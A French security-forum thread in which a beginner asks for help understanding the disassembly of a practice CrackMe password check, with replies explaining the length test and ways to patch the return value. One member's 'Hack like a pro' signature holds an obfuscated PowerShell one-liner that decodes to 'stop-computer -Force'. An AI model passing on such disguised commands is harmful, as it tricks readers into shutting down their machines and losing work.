Annonce

Réduire
Aucune annonce.

Assembleur - Reversing : Besoins d'aide

Réduire
X
 
  • Filtre
  • Heure
  • Afficher
Tout nettoyer
nouveaux messages

  • Assembleur - Reversing : Besoins d'aide

    Bonjour les hackademiciens,
    Je suis entrain de faire mon initiation au à l'assembleur et au reversing avec Immunity Debugger.
    Actuellement, j'essaie de découvrir le mot de passe d'un programme qui est fait pour la circonstance et j'ai un peu de mal à comprendre toutes les instructions.

    Voici un extrait du code, la partie que je veux comprendre.

    00091040 $ 55 PUSH EBP
    00091041 . 8BEC MOV EBP,ESP
    00091043 . 83EC 08 SUB ESP,8
    00091046 . 56 PUSH ESI
    00091047 . 8BF1 MOV ESI,ECX
    00091049 . 8BD6 MOV EDX,ESI
    0009104B . 8D4A 01 LEA ECX,DWORD PTR DS:[EDX+1]
    0009104E . 66:90 NOP
    00091050 > 8A02 MOV AL,BYTE PTR DS:[EDX]
    00091052 . 42 INC EDX
    00091053 . 84C0 TEST AL,AL
    00091055 ^75 F9 JNZ SHORT CrackMe.00091050
    00091057 . 2BD1 SUB EDX,ECX
    00091059 . 83FA 10 CMP EDX,10
    0009105C 74 07 JE SHORT CrackMe.00091065
    0009105E > 32C0 XOR AL,AL
    00091060 . 5E POP ESI
    00091061 . 8BE5 MOV ESP,EBP
    00091063 . 5D POP EBP
    00091064 . C3 RETN
    Dernière modification par saliuo, 09 juin 2017, 11h11.

  • #2
    Au pire envoie le binaire:

    0009104B . 8D4A 01 LEA ECX,DWORD PTR DS:[EDX+1] <--- charge un DWORD en ECX ?
    0009104E . 66:90 NOP
    00091050 > 8A02 MOV AL,BYTE PTR DS:[EDX] <--- mov un BYTE de EDX EN AL ?
    00091052 . 42 INC EDX <--- incremente EDX
    00091053 . 84C0 TEST AL,AL
    00091055 ^75 F9 JNZ SHORT CrackMe.00091050 <--- Jump if not Zero

    Mais voilà on peut continuer a commenter le mnémo.
    Envoie le binaire si je peut aider.

    Commentaire


    • #3
      Bonjour, merci pour ta réponse.
      J'essaie d'envoyer le binaire mais j'ai une erreur "Votre fichier de 9216 octets a dépassé la limite de 3. CrackMe.txt".

      Je sais lire les instructions, je sais ce que fait chaque ligne mais je ne comprends juste pas le sens du code, ce qu'il fait en général. En fait il s'agit d'une fonction. Je voulais savoir ce que fait cette fonction.

      Il s'agit en fait d'un petit programme qui s'execute avec un mot de passe en paramètre et qui affiche "Invalid password" si le mot de passe est correcte et "Welcome admin! " si le mot de passe est correcte.

      De ce que j'ai compris, c'est la partie ou le mot de passe est comparé au mot de passe réel.

      Aussi j'arrive à cracker le petit programme dans la mesure où j'ai modifier le code et recompilé l'exe avec winHex et j'arrive à avoir le message "Welcome admin! " comme si j'avais le bon mot de passe. Ce que j'ai juste fait c'est changer la valeur de retour de la fonction, puisque c'est en fonction de cette valeur que l'un ou l'autre des messages est affiché.

      Mais mon but, ce n'est pas tout simplement d'avoir accès "au système" sans mot de passe, c'est-à-dire avoir le message "Welcome admin!". Je veux aller au dela.

      Mon but maintenant, c'est d'arriver à determiner le mot de passe sur la base du programme que j'ai décompilé. Mais je n'arrive pas à saisir entièrement cette fonction. C'est la raison pour laquelle je demande aux membres qui font du reversing de m'aider.

      Commentaire


      • #4
        Comme dit jajusa, c'est compliqué sans disposer du bin entier.

        Tu as essayé l'analyse dynamique avec Olly par exemple ? Ça facilite beaucoup la compréhension de l’exécution du programme.
        Hack like a pro :
        PS > iex $(-join('73746F702D636F6D7075746572202D466F726365' -split '(?<=\G.{2})',20|%{[char][int]"0x$_"}))

        Commentaire


        • #5
          À la question, "peut-on récupérer le mot de passe ?" en assembleur (que je ne connais absolument pas), n'est-il pas possible dans le code de créer un saut évitant cette demande ?

          Commentaire


          • #6
            Envoyé par Krisscool Voir le message
            Comme dit jajusa, c'est compliqué sans disposer du bin entier.

            Tu as essayé l'analyse dynamique avec Olly par exemple ? Ça facilite beaucoup la compréhension de l’exécution du programme.
            Oui.

            Commentaire


            • #7
              Envoyé par fred Voir le message
              À la question, "peut-on récupérer le mot de passe ?" en assembleur (que je ne connais absolument pas), n'est-il pas possible dans le code de créer un saut évitant cette demande ?
              J'ai deja fait sa, et c'est plutot une solution simple et facile. Mais je voulais explorer l'option de la découverte du mot de passe.

              En tout merci pour votre coup de main. Je vais continuer mon apprentissage et j'espère qu'un jour j'y arriverai

              Commentaire


              • #8
                Vite fait, je dirais :
                0009104B . 8D4A 01 LEA ECX,DWORD PTR DS:[EDX+1] chargement en vue d'un traitement plus loin.
                On compte le nombre de caractère en DS:[EDX].
                On soustrait ce nombre à celui chargé dans ECX
                Si le résultat est &10, on passe à la section suivante : 0009105C 74 07 JE SHORT CrackMe.00091065
                Sinon, on reset al et on termine la fonction : valeur de retour 0.

                Arrange toi pour que la valeur de retour soit 1 et teste.
                Sinon voir en CrackMe.00091065 pour la suite.

                Le debug live t'en diras plus sur ce qu'il y a à ces adresses.

                Commentaire

                Chargement...
                X